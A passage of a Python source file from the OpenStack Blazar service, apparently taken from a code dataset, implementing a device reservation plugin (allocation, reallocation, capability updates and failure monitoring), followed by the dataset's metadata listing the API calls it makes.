driver in configuration file. \"\n \"Please set one plugin per device driver.\")\n raise manager_ex.PluginConfigurationError(error=msg)\n\n plugins[plugin_obj.device_driver] = plugin_obj\n return plugins\n\n\nclass DevicePlugin(base.BasePlugin):\n \"\"\"Plugin for device resource.\"\"\"\n resource_type = plugin.RESOURCE_TYPE\n title = 'Device Plugin'\n description = 'This plugin creates and deletes devices.'\n query_options = {\n QUERY_TYPE_ALLOCATION: ['lease_id', 'reservation_id']\n }\n\n def __init__(self):\n super(DevicePlugin, self).__init__()\n self.plugins = _get_plugins()\n self.monitor = DeviceMonitorPlugin(**MONITOR_ARGS)\n self.monitor.register_reallocater(self._reallocate)\n\n def reserve_resource(self, reservation_id, values):\n \"\"\"Create reservation.\"\"\"\n device_ids = self.allocation_candidates(values)\n\n if not device_ids:\n raise manager_ex.NotEnoughDevicesAvailable()\n\n device_rsrv_values = {\n 'reservation_id': reservation_id,\n 'resource_properties': values['resource_properties'],\n 'count_range': values['count_range'],\n 'status': 'pending',\n 'before_end': values['before_end'],\n }\n device_reservation = db_api.device_reservation_create(\n device_rsrv_values)\n for device_id in device_ids:\n db_api.device_allocation_create({'device_id': device_id,\n 'reservation_id': reservation_id})\n return device_reservation['id']\n\n def update_reservation(self, reservation_id, values):\n \"\"\"Update reservation.\"\"\"\n reservation = db_api.reservation_get(reservation_id)\n lease = db_api.lease_get(reservation['lease_id'])\n\n if (not [x for x in values.keys() if x in ['min', 'max',\n 'resource_properties']]\n and values['start_date'] >= lease['start_date']\n and values['end_date'] <= lease['end_date']):\n # Nothing to update\n return\n\n dates_before = {'start_date': lease['start_date'],\n 'end_date': lease['end_date']}\n dates_after = {'start_date': values['start_date'],\n 'end_date': values['end_date']}\n device_reservation = db_api.device_reservation_get(\n reservation['resource_id'])\n self._update_allocations(dates_before, dates_after, reservation_id,\n reservation['status'], device_reservation,\n values, lease)\n\n updates = {}\n if 'min' in values or 'max' in values:\n count_range = str(values.get(\n 'min', device_reservation['count_range'].split('-')[0])\n ) + '-' + str(values.get(\n 'max', device_reservation['count_range'].split('-')[1])\n )\n updates['count_range'] = count_range\n if 'resource_properties' in values:\n updates['resource_properties'] = values.get(\n 'resource_properties')\n if updates:\n db_api.device_reservation_update(device_reservation['id'], updates)\n\n def on_start(self, resource_id, lease=None):\n device_reservation = db_api.device_reservation_get(resource_id)\n\n devices = defaultdict(list)\n for allocation in db_api.device_allocation_get_all_by_values(\n reservation_id=device_reservation['reservation_id']):\n device = db_api.device_get(allocation['device_id'])\n devices[device[\"device_driver\"]].append(device)\n\n for device_driver, devices_list in devices.items():\n self.plugins[device_driver].allocate(\n device_reservation, lease, devices_list)\n\n def before_end(self, resource_id, lease=None):\n \"\"\"Take an action before the end of a lease.\"\"\"\n device_reservation = db_api.device_reservation_get(resource_id)\n\n action = device_reservation['before_end']\n if action == 'default':\n action = CONF[plugin.RESOURCE_TYPE].before_end\n\n if action == 'email':\n plugins_utils.send_lease_extension_reminder(\n lease, CONF.os_region_name)\n\n def on_end(self, resource_id, lease=None):\n device_reservation = db_api.device_reservation_get(resource_id)\n db_api.device_reservation_update(device_reservation['id'],\n {'status': 'completed'})\n\n devices = defaultdict(list)\n allocations = db_api.device_allocation_get_all_by_values(\n reservation_id=device_reservation['reservation_id'])\n for allocation in allocations:\n device = db_api.device_get(allocation['device_id'])\n devices[device[\"device_driver\"]].append(\n db_api.device_get(allocation['device_id']))\n db_api.device_allocation_destroy(allocation['id'])\n\n for device_driver, devices_list in devices.items():\n self.plugins[device_driver].deallocate(\n device_reservation, lease, devices_list)\n\n def _get_extra_capabilities(self, device_id):\n extra_capabilities = {}\n raw_extra_capabilities = (\n db_api.device_extra_capability_get_all_per_device(device_id))\n for capability, capability_name in raw_extra_capabilities:\n key = capability_name\n extra_capabilities[key] = capability.capability_value\n return extra_capabilities\n\n def get(self, device_id):\n return self.get_device(device_id)\n\n def get_device(self, device_id):\n device = db_api.device_get(device_id)\n if device is None:\n return device\n return self.get_device_with_extra_capabilities(device)\n\n def get_device_with_extra_capabilities(self, device):\n extra_capabilities = self._get_extra_capabilities(device[\"id\"])\n if extra_capabilities:\n res = device.copy()\n res.update(extra_capabilities)\n return res\n else:\n return device\n\n def list_devices(self):\n raw_device_list = db_api.device_list()\n device_list = []\n for device in raw_device_list:\n device_list.append(self.get_device(device['id']))\n return device_list\n\n def create_device(self, values):\n if 'trust_id' in values:\n del values['trust_id']\n device_id = self.plugins[values.get(\n 'device_driver')].create_device(values)\n return self.get_device(device_id)\n\n def is_updatable_extra_capability(self, capability, capability_name):\n reservations = db_utils.get_reservations_by_device_id(\n capability['device_id'], datetime.datetime.utcnow(),\n datetime.date.max)\n\n for r in reservations:\n plugin_reservation = db_utils.get_plugin_reservation(\n r['resource_type'], r['resource_id'])\n\n requirements_queries = plugins_utils.convert_requirements(\n plugin_reservation['resource_properties'])\n\n for requirement in requirements_queries:\n if requirement.split(\" \")[0] == capability_name:\n return False\n return True\n\n def update_device(self, device_id, values):\n # nothing to update\n if not values:\n return self.get_device(device_id)\n\n device_property_names = ['device_type', 'device_driver']\n device_properties = {}\n for prop_key in list(values.keys()):\n if prop_key in device_property_names:\n device_properties[prop_key] = values.pop(prop_key)\n if device_properties:\n db_api.device_update(device_id, device_properties)\n\n cant_update_extra_capability = []\n cant_delete_extra_capability = []\n previous_capabilities = self._get_extra_capabilities(device_id)\n updated_keys = set(values.keys()) & set(previous_capabilities.keys())\n new_keys = set(values.keys()) - set(previous_capabilities.keys())\n\n for key in updated_keys:\n raw_capability, cap_name = next(iter(\n db_api.device_extra_capability_get_all_per_name(\n device_id, key)))\n\n if self.is_updatable_extra_capability(raw_capability, cap_name):\n if values[key] is not None:\n try:\n capability = {'capability_value': values[key]}\n db_api.device_extra_capability_update(\n raw_capability['id'], capability)\n except (db_ex.BlazarDBException, RuntimeError):\n cant_update_extra_capability.append(cap_name)\n else:\n try:\n db_api.device_extra_capability_destroy(\n raw_capability['id'])\n except db_ex.BlazarDBException:\n cant_delete_extra_capability.append(cap_name)\n else:\n LOG.info(\"Capability %s can't be updated because \"\n \"existing reservations require it.\",\n cap_name)\n cant_update_extra_capability.append(cap_name)\n\n for key in new_keys:\n new_capability = {\n 'device_id': device_id,\n 'capability_name': key,\n 'capability_value': values[key],\n }\n try:\n db_api.device_extra_capability_create(new_capability)\n except (db_ex.BlazarDBException, RuntimeError):\n cant_update_extra_capability.append(key)\n\n if cant_update_extra_capability:\n raise manager_ex.CantAddExtraCapability(\n host=device_id, keys=cant_update_extra_capability)\n\n if cant_delete_extra_capability:\n raise manager_ex.ExtraCapabilityNotFound(\n resource=device_id, keys=cant_delete_extra_capability)\n\n LOG.info('Extra capabilities on device %s updated with %s',\n device_id, values)\n return self.get_device(device_id)\n\n def delete_device(self, device_id):\n device = db_api.device_get(device_id)\n if not device:\n raise manager_ex.DeviceNotFound(device=device_id)\n\n if db_api.device_allocation_get_all_by_values(\n device_id=device_id):\n raise manager_ex.CantDeleteDevice(\n device=device_id,\n msg='The device is reserved.'\n )\n\n try:\n db_api.device_destroy(device_id)\n self.plugins[device[\"device_driver\"]].after_destroy(device)\n except db_ex.BlazarDBException as e:\n raise manager_ex.CantDeleteDevice(device=device_id, msg=str(e))\n\n def reallocate_device(self, device_id, data):\n allocations = self.get_allocations(device_id, data, detail=True)\n\n for alloc in allocations['reservations']:\n reservation_flags = {}\n device_allocation = db_api.device_allocation_get_all_by_values(\n device_id=device_id,\n reservation_id=alloc['id'])[0]\n\n if self._reallocate(device_allocation):\n if alloc['status'] == status.reservation.ACTIVE:\n reservation_flags.update(dict(resources_changed=True))\n db_api.lease_update(alloc['lease_id'], dict(degraded=True))\n else:\n reservation_flags.update(dict(missing_resources=True))\n db_api.lease_update(alloc['lease_id'], dict(degraded=True))\n\n db_api.reservation_update(alloc['id'], reservation_flags)\n\n return self.get_allocations(device_id, data)\n\n def _reallocate(self, allocation):\n \"\"\"Allocate an alternative device.\n\n :param allocation: allocation to change.\n :return: True if an alternative device was successfully allocated.\n \"\"\"\n reservation = db_api.reservation_get(allocation['reservation_id'])\n device_reservation = db_api.device_reservation_get(\n reservation['resource_id'])\n lease = db_api.lease_get(reservation['lease_id'])\n\n # Remove the old device from the trait.\n if reservation['status'] == status.reservation.ACTIVE:\n device = db_api.device_get(allocation['device_id'])\n self.plugins[device[\"device_driver\"]].remove_active_device(\n device, device_reservation, lease)\n\n # Allocate an alternative device.\n start_date = max(datetime.datetime.utcnow(), lease['start_date'])\n new_deviceids = self._matching_devices(\n device_reservation['resource_properties'],\n '1-1', start_date, lease['end_date'], lease['project_id']\n )\n if not new_deviceids:\n db_api.device_allocation_destroy(allocation['id'])\n LOG.warn('Could not find alternative device for reservation %s '\n '(lease: %s).', reservation['id'], lease['name'])\n return False\n else:\n new_deviceid = new_deviceids.pop()\n db_api.device_allocation_update(allocation['id'],\n {'device_id': new_deviceid})\n LOG.warn('Resource changed for reservation %s (lease: %s).',\n reservation['id'], lease['name'])\n if reservation['status'] == status.reservation.ACTIVE:\n new_device = db_api.device_get(new_deviceid)\n self.plugins[device[\"device_driver\"]].add_active_device(\n new_device, device_reservation, lease)\n\n return True\n\n def list_allocations(self, query, detail=False):\n devices_id_list = [d['id'] for d in db_api.device_list()]\n options = self.get_query_options(query, QUERY_TYPE_ALLOCATION)\n options['detail'] = detail\n devices_allocations = self.query_device_allocations(devices_id_list,\n **options)\n self.add_extra_allocation_info(devices_allocations)\n return [{\"resource_id\": device, \"reservations\": allocs}\n for device, allocs in devices_allocations.items()]\n\n def get_allocations(self, device_id, query, detail=False):\n options = self.get_query_options(query, QUERY_TYPE_ALLOCATION)\n options['detail'] = detail\n device_allocations = self.query_device_allocations(\n [device_id], **options)\n allocs = device_allocations.get(device_id, [])\n return {\"resource_id\": device_id, \"reservations\": allocs}\n\n def query_allocations(self, devices, lease_id=None, reservation_id=None):\n return self.query_device_allocations(devices, lease_id=lease_id,\n reservation_id=reservation_id)\n\n def query_device_allocations(self, devices, lease_id=None,\n reservation_id=None, detail=False):\n \"\"\"Return dict of device and its allocations.\n\n The list element forms\n {\n 'device-id': [\n {\n 'lease_id': lease_id,\n 'id': reservation_id,\n 'start_date': lease_start_date,\n 'end_date': lease_end_date\n },\n ]\n }.\n \"\"\"\n start = datetime.datetime.utcnow()\n end = datetime.date.max\n\n reservations = db_utils.get_reservation_allocations_by_device_ids(\n devices, start, end, lease_id, reservation_id)\n device_allocations = {d: [] for d in devices}\n\n for reservation in reservations:\n if not detail:\n del reservation['project_id']\n del reservation['lease_name']\n del reservation['status']\n\n for device_id in reservation['device_ids']:\n if device_id in device_allocations.keys():\n device_allocations[device_id].append({\n k: v for k, v in reservation.items()\n if k != 'device_ids'})\n\n return device_allocations\n\n def update_default_parameters(self, values):\n self.add_default_resource_properties(values)\n\n def allocation_candidates(self, values):\n self._check_params(values)\n\n device_ids = self._matching_devices(\n values['resource_properties'],\n values['count_range'],\n values['start_date'],\n values['end_date'],\n values['project_id']\n )\n\n min_devices, _ = [int(n) for n in values['count_range'].split('-')]\n\n if len(device_ids) < min_devices:\n raise manager_ex.NotEnoughHostsAvailable()\n\n return device_ids\n\n def _convert_int_param(self, param, name):\n \"\"\"Checks that the parameter is present and can be converted to int.\"\"\"\n if param is None:\n raise manager_ex.MissingParameter(param=name)\n if strutils.is_int_like(param):\n param = int(param)\n else:\n raise manager_ex.MalformedParameter(param=name)\n return param\n\n def _validate_min_max_range(self, values, min_devices, max_devices):\n min_devices = self._convert_int_param(min_devices, 'min')\n max_devices = self._convert_int_param(max_devices, 'max')\n if min_devices <= 0 or max_devices <= 0:\n raise manager_ex.MalformedParameter(\n param='min and max (must be greater than or equal to 1)')\n if max_devices < min_devices:\n raise manager_ex.InvalidRange()\n values['count_range'] = str(min_devices) + '-' + str(max_devices)\n\n def _check_params(self, values):\n self._validate_min_max_range(values, values.get('min'),\n values.get('max'))\n\n if 'resource_properties' not in values:\n raise manager_ex.MissingParameter(param='resource_properties')\n\n if 'before_end' not in values:\n values['before_end'] = 'default'\n if values['before_end'] not in before_end_options:\n raise manager_ex.MalformedParameter(param='before_end')\n\n if 'on_start' not in values:\n values['on_start'] = 'default'\n\n def _matching_devices(self, resource_properties, count_range,\n start_date, end_date, project_id):\n \"\"\"Return the matching devices (preferably not allocated)\"\"\"\n count_range = count_range.split('-')\n min_device = count_range[0]\n max_device = count_range[1]\n allocated_device_ids = []\n not_allocated_device_ids = []\n filter_array = []\n start_date_with_margin = start_date - datetime.timedelta(\n minutes=CONF.device.cleaning_time)\n end_date_with_margin = end_date + datetime.timedelta(\n minutes=CONF.device.cleaning_time)\n\n if resource_properties:\n filter_array += plugins_utils.convert_requirements(\n resource_properties)\n for device in db_api.reservable_device_get_all_by_queries(\n filter_array):\n device = self.get_device_with_extra_capabilities(device)\n if not self.is_project_allowed(project_id, device):\n continue\n if not db_api.device_allocation_get_all_by_values(\n device_id=device['id']):\n not_allocated_device_ids.append(device['id'])\n elif db_utils.get_free_periods(\n device['id'],\n start_date_with_margin,\n end_date_with_margin,\n end_date_with_margin - start_date_with_margin,\n resource_type='device'\n ) == [\n (start_date_with_margin, end_date_with_margin),\n ]:\n allocated_device_ids.append(device['id'])\n if len(not_allocated_device_ids) >= int(min_device):\n shuffle(not_allocated_device_ids)\n return not_allocated_device_ids[:int(max_device)]\n all_device_ids = allocated_device_ids + not_allocated_device_ids\n if len(all_device_ids) >= int(min_device):\n shuffle(all_device_ids)\n return all_device_ids[:int(max_device)]\n else:\n return []\n\n def _update_allocations(self, dates_before, dates_after, reservation_id,\n reservation_status, device_reservation, values,\n lease):\n min_devices = values.get('min', int(\n device_reservation['count_range'].split('-')[0]))\n max_devices = values.get(\n 'max', int(device_reservation['count_range'].split('-')[1]))\n self._validate_min_max_range(values, min_devices, max_devices)\n resource_properties = values.get(\n 'resource_properties',\n device_reservation['resource_properties'])\n allocs = db_api.device_allocation_get_all_by_values(\n reservation_id=reservation_id)\n\n allocs_to_remove = self._allocations_to_remove(\n dates_before, dates_after, max_devices,\n resource_properties, allocs)\n\n if (allocs_to_remove and\n reservation_status == status.reservation.ACTIVE):\n raise manager_ex.NotEnoughHostsAvailable()\n\n kept_devices = len(allocs) - len(allocs_to_remove)\n if kept_devices < max_devices:\n min_devices = min_devices - kept_devices \\\n if (min_devices - kept_devices) > 0 else 0\n max_devices = max_devices - kept_devices\n device_ids = self._matching_devices(\n resource_properties,\n str(min_devices) + '-' + str(max_devices),\n dates_after['start_date'], dates_after['end_date'],\n lease['project_id'])\n if len(device_ids) >= min_devices:\n for device_id in device_ids:\n db_api.device_allocation_create(\n {'device_id': device_id,\n 'reservation_id': reservation_id})\n new_device = db_api.device_get(device_id)\n if reservation_status == status.reservation.ACTIVE:\n # Add new device into the trait.\n self.plugins[new_device[\"device_driver\"]].\\\n add_active_device(\n new_device, device_reservation, lease)\n else:\n raise manager_ex.NotEnoughHostsAvailable()\n\n for allocation in allocs_to_remove:\n db_api.device_allocation_destroy(allocation['id'])\n\n def _allocations_to_remove(self, dates_before, dates_after, max_devices,\n resource_properties, allocs):\n allocs_to_remove = []\n requested_device_ids = [device['id'] for device in\n self._filter_devices_by_properties(\n resource_properties\n )]\n\n for alloc in allocs:\n if alloc['device_id'] not in requested_device_ids:\n allocs_to_remove.append(alloc)\n continue\n if (dates_before['start_date'] > dates_after['start_date'] or\n dates_before['end_date'] < dates_after['end_date']):\n reserved_periods = db_utils.get_reserved_periods(\n alloc['device_id'],\n dates_after['start_date'],\n dates_after['end_date'],\n datetime.timedelta(seconds=1))\n\n max_start = max(dates_before['start_date'],\n dates_after['start_date'])\n min_end = min(dates_before['end_date'],\n dates_after['end_date'])\n\n if not (len(reserved_periods) == 0 or\n (len(reserved_periods) == 1 and\n reserved_periods[0][0] == max_start and\n reserved_periods[0][1] == min_end)):\n allocs_to_remove.append(alloc)\n\n kept_devices = len(allocs) - len(allocs_to_remove)\n if kept_devices > max_devices:\n allocs_to_remove.extend(\n [allocation for allocation in allocs\n if allocation not in allocs_to_remove\n ][:(kept_devices - max_devices)]\n )\n\n return allocs_to_remove\n\n def _filter_devices_by_properties(self, resource_properties):\n filter = []\n if resource_properties:\n filter += plugins_utils.convert_requirements(resource_properties)\n if filter:\n return db_api.device_get_all_by_queries(filter)\n else:\n return db_api.device_list()\n\n\nclass DeviceMonitorPlugin(monitor.GeneralMonitorPlugin):\n \"\"\"Monitor plugin for device resource.\"\"\"\n\n def __new__(cls, *args, **kwargs):\n if not cls._instance:\n cls._instance = \\\n super(DeviceMonitorPlugin, cls).__new__(cls, *args, **kwargs)\n cls._instance.plugins = _get_plugins()\n return cls._instance\n\n def filter_allocations(self, reservation, device_ids):\n return [alloc for alloc\n in reservation['device_allocations']\n if alloc['device_id'] in device_ids]\n\n def get_reservations_by_resource_ids(self, device_ids,\n interval_begin, interval_end):\n return db_utils.get_reservations_by_device_ids(device_ids,\n interval_begin,\n interval_end)\n\n def get_unreservable_resourses(self):\n return db_api.unreservable_device_get_all_by_queries([])\n\n def get_notification_event_types(self):\n \"\"\"Get event types of notification messages to handle.\"\"\"\n return []\n\n def notification_callback(self, event_type, payload):\n \"\"\"Handle a notification message.\n\n It is used as a callback of a notification-based resource monitor.\n :param event_type: an event type of a notification.\n :param payload: a payload of a notification.\n :return: a dictionary of {reservation id: flags to update}\n e.g. {'de27786d-bd96-46bb-8363-19c13b2c6657':\n {'missing_resources': True}}\n \"\"\"\n return {}\n\n def set_reservable(self, resource, is_reservable):\n db_api.device_update(resource[\"id\"], {\"reservable\": is_reservable})\n LOG.warn('%s %s.', resource[\"name\"],\n \"recovered\" if is_reservable else \"failed\")\n\n def poll_resource_failures(self):\n \"\"\"Check health of devices by calling driver service API.\n\n :return: a list of failed devices, a list of recovered devices.\n \"\"\"\n devices = db_api.device_get_all_by_filters({})\n\n device_partition = defaultdict(list)\n for device in devices:\n device_partition[device[\"device_driver\"]].append(device)\n\n failed_devices = []\n recovered_devices = []\n\n for device_driver in self.plugins.keys():\n try:\n driver_failed_devices, driver_recovered_devices = \\\n self.plugins[device_driver].poll_resource_failures(\n device_partition[device_driver])\n failed_devices.extend(driver_failed_devices)\n recovered_devices.extend(driver_recovered_devices)\n except AttributeError as e:\n LOG.warning('poll_resource_failures is not implemented for {}'\n .format(device_driver))\n raise e\n\n return failed_devices, recovered_devices\n", "sub_path": "blazar/plugins/devices/device_plugin.py", "file_name": "device_plugin.py", "file_ext": "py", "file_size_in_byte": 31260, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "oslo_config.cfg.StrOpt", "line_number": 38, "usage_type": "call"}, {"api_name": "oslo_config.cfg", "line_number": 38, "usage_type": "name"}, {"api_name": "oslo_config.cfg.ListOpt", "line_number": 42, "usage_type": "call"}, {"api_name": "oslo_config.cfg", "line_number": 42, "usage_type": "name"}, {"api_name": "oslo_config.cfg.IntOpt", "line_number": 46, "usage_type": "call"}, {"api_name": "oslo_config.cfg", "line_number": 46, "usage_type": "name"}, {"api_name": "oslo_config.cfg.StrOpt", "line_number": 52, "usage_type": "call"}, {"api_name": "oslo_config.cfg", "line_number": 52, "usage_type": "name"}, {"api_name": "oslo_config.cfg.BoolOpt", "line_number": 56, "usage_type": "call"}, {"api_name": "oslo_config.cfg", "line_number": 56, "usage_type": "name"}, {"api_name": "oslo_config.cfg.BoolOpt", "line_number": 60, "usage_type": "call"}, {"api_name": "oslo_config.cfg", "line_number": 60, "usage_type": "name"}, {"api_name": "blazar.plugins.monitor.monitor_opts", "line_number": 66, "usage_type": "attribute"}, {"api_name": "blazar.plugins.monitor", "line_number": 66, "usage_type": "name"}, {"api_name": "oslo_config.cfg.CONF", "line_number": 68, "usage_type": "attribute"}, {"api_name": "oslo_config.cfg", "line_number": 68, "usage_type": "name"}, {"api_name": "blazar.plugins.devices.RESOURCE_TYPE", "line_number": 69, "usage_type": "attribute"}, {"api_name": "blazar.plugins.devices", "line_number": 69, "usage_type": "name"}, {"api_name": "oslo_log.log.getLogger", "line_number": 70, "usage_type": "call"}, {"api_name": "oslo_log.log", "line_number": 70, "usage_type": "name"}, {"api_name": "blazar.plugins.devices.RESOURCE_TYPE", "line_number": 76, "usage_type": "attribute"}, {"api_name": "blazar.plugins.devices", "line_number": 76, "usage_type": "name"}, {"api_name": "stevedore.named.NamedExtensionManager", "line_number": 83, "usage_type": "call"}, {"api_name": "stevedore.named", "line_number": 83, "usage_type": "name"}, {"api_name": "blazar.manager.exceptions.PluginConfigurationError", "line_number": 101, "usage_type": "call"}, {"api_name": "blazar.manager.exceptions", "line_number": 101, "usage_type": "name"}, {"api_name": "blazar.plugins.base.BasePlugin", "line_number": 107, "usage_type": "attribute"}, {"api_name": "blazar.plugins.base", "line_number": 107, "usage_type": "name"}, {"api_name": "blazar.plugins.devices.RESOURCE_TYPE", "line_number": 109, "usage_type": "attribute"}, {"api_name": "blazar.plugins.devices", "line_number": 109, "usage_type": "name"}, {"api_name": "blazar.manager.exceptions.NotEnoughDevicesAvailable", "line_number": 127, "usage_type": "call"}, {"api_name": "blazar.manager.exceptions", "line_number": 127, "usage_type": "name"}, {"api_name": "blazar.db.api.device_reservation_create", "line_number": 136, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 136, "usage_type": "name"}, {"api_name": "blazar.db.api.device_allocation_create", "line_number": 139, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 139, "usage_type": "name"}, {"api_name": "blazar.db.api.reservation_get", "line_number": 145, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 145, "usage_type": "name"}, {"api_name": "blazar.db.api.lease_get", "line_number": 146, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 146, "usage_type": "name"}, {"api_name": "blazar.db.api.device_reservation_get", "line_number": 159, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 159, "usage_type": "name"}, {"api_name": "blazar.db.api.device_reservation_update", "line_number": 177, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 177, "usage_type": "name"}, {"api_name": "blazar.db.api.device_reservation_get", "line_number": 180, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 180, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 182, "usage_type": "call"}, {"api_name": "blazar.db.api.device_allocation_get_all_by_values", "line_number": 183, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 183, "usage_type": "name"}, {"api_name": "blazar.db.api.device_get", "line_number": 185, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 185, "usage_type": "name"}, {"api_name": "blazar.db.api.device_reservation_get", "line_number": 194, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 194, "usage_type": "name"}, {"api_name": "blazar.plugins.devices.RESOURCE_TYPE", "line_number": 198, "usage_type": "attribute"}, {"api_name": "blazar.plugins.devices", "line_number": 198, "usage_type": "name"}, {"api_name": "blazar.utils.plugins.send_lease_extension_reminder", "line_number": 201, "usage_type": "call"}, {"api_name": "blazar.utils.plugins", "line_number": 201, "usage_type": "name"}, {"api_name": "blazar.db.api.device_reservation_get", "line_number": 205, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 205, "usage_type": "name"}, {"api_name": "blazar.db.api.device_reservation_update", "line_number": 206, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 206, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 209, "usage_type": "call"}, {"api_name": "blazar.db.api.device_allocation_get_all_by_values", "line_number": 210, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 210, "usage_type": "name"}, {"api_name": "blazar.db.api.device_get", "line_number": 213, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 213, "usage_type": "name"}, {"api_name": "blazar.db.api.device_get", "line_number": 215, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 215, "usage_type": "name"}, {"api_name": "blazar.db.api.device_allocation_destroy", "line_number": 216, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 216, "usage_type": "name"}, {"api_name": "blazar.db.api.device_extra_capability_get_all_per_device", "line_number": 225, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 225, "usage_type": "name"}, {"api_name": "blazar.db.api.device_get", "line_number": 235, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 235, "usage_type": "name"}, {"api_name": "blazar.db.api.device_list", "line_number": 250, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 250, "usage_type": "name"}, {"api_name": "blazar.db.utils.get_reservations_by_device_id", "line_number": 264, "usage_type": "call"}, {"api_name": "blazar.db.utils", "line_number": 264, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 265, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 265, "usage_type": "attribute"}, {"api_name": "datetime.date", "line_number": 266, "usage_type": "attribute"}, {"api_name": "blazar.db.utils.get_plugin_reservation", "line_number": 269, "usage_type": "call"}, {"api_name": "blazar.db.utils", "line_number": 269, "usage_type": "name"}, {"api_name": "blazar.utils.plugins.convert_requirements", "line_number": 272, "usage_type": "call"}, {"api_name": "blazar.utils.plugins", "line_number": 272, "usage_type": "name"}, {"api_name": "blazar.db.api.device_update", "line_number": 291, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 291, "usage_type": "name"}, {"api_name": "blazar.db.api.device_extra_capability_get_all_per_name", "line_number": 301, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 301, "usage_type": "name"}, {"api_name": "blazar.db.api.device_extra_capability_update", "line_number": 308, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 308, "usage_type": "name"}, {"api_name": "blazar.db.exceptions.BlazarDBException", "line_number": 310, "usage_type": "attribute"}, {"api_name": "blazar.db.exceptions", "line_number": 310, "usage_type": "name"}, {"api_name": "blazar.db.api.device_extra_capability_destroy", "line_number": 314, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 314, "usage_type": "name"}, {"api_name": "blazar.db.exceptions.BlazarDBException", "line_number": 316, "usage_type": "attribute"}, {"api_name": "blazar.db.exceptions", "line_number": 316, "usage_type": "name"}, {"api_name": "blazar.db.api.device_extra_capability_create", "line_number": 331, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 331, "usage_type": "name"}, {"api_name": "blazar.db.exceptions.BlazarDBException", "line_number": 332, "usage_type": "attribute"}, {"api_name": "blazar.db.exceptions", "line_number": 332, "usage_type": "name"}, {"api_name": "blazar.manager.exceptions.CantAddExtraCapability", "line_number": 336, "usage_type": "call"}, {"api_name": "blazar.manager.exceptions", "line_number": 336, "usage_type": "name"}, {"api_name": "blazar.manager.exceptions.ExtraCapabilityNotFound", "line_number": 340, "usage_type": "call"}, {"api_name": "blazar.manager.exceptions", "line_number": 340, "usage_type": "name"}, {"api_name": "blazar.db.api.device_get", "line_number": 348, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 348, "usage_type": "name"}, {"api_name": "blazar.manager.exceptions.DeviceNotFound", "line_number": 350, "usage_type": "call"}, {"api_name": "blazar.manager.exceptions", "line_number": 350, "usage_type": "name"}, {"api_name": "blazar.db.api.device_allocation_get_all_by_values", "line_number": 352, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 352, "usage_type": "name"}, {"api_name": "blazar.manager.exceptions.CantDeleteDevice", "line_number": 354, "usage_type": "call"}, {"api_name": "blazar.manager.exceptions", "line_number": 354, "usage_type": "name"}, {"api_name": "blazar.db.api.device_destroy", "line_number": 360, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 360, "usage_type": "name"}, {"api_name": "blazar.db.exceptions.BlazarDBException", "line_number": 362, "usage_type": "attribute"}, {"api_name": "blazar.db.exceptions", "line_number": 362, "usage_type": "name"}, {"api_name": "blazar.manager.exceptions.CantDeleteDevice", "line_number": 363, "usage_type": "call"}, {"api_name": "blazar.manager.exceptions", "line_number": 363, "usage_type": "name"}, {"api_name": "blazar.db.api.device_allocation_get_all_by_values", "line_number": 370, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 370, "usage_type": "name"}, {"api_name": "blazar.status.reservation", "line_number": 375, "usage_type": "attribute"}, {"api_name": "blazar.status", "line_number": 375, "usage_type": "name"}, {"api_name": "blazar.db.api.lease_update", "line_number": 377, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 377, "usage_type": "name"}, {"api_name": "blazar.db.api.lease_update", "line_number": 380, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 380, "usage_type": "name"}, {"api_name": "blazar.db.api.reservation_update", "line_number": 382, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 382, "usage_type": "name"}, {"api_name": "blazar.db.api.reservation_get", "line_number": 392, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 392, "usage_type": "name"}, {"api_name": "blazar.db.api.device_reservation_get", "line_number": 393, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 393, "usage_type": "name"}, {"api_name": "blazar.db.api.lease_get", "line_number": 395, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 395, "usage_type": "name"}, {"api_name": "blazar.status.reservation", "line_number": 398, "usage_type": "attribute"}, {"api_name": "blazar.status", "line_number": 398, "usage_type": "name"}, {"api_name": "blazar.db.api.device_get", "line_number": 399, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 399, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 404, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 404, "usage_type": "attribute"}, {"api_name": "blazar.db.api.device_allocation_destroy", "line_number": 410, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 410, "usage_type": "name"}, 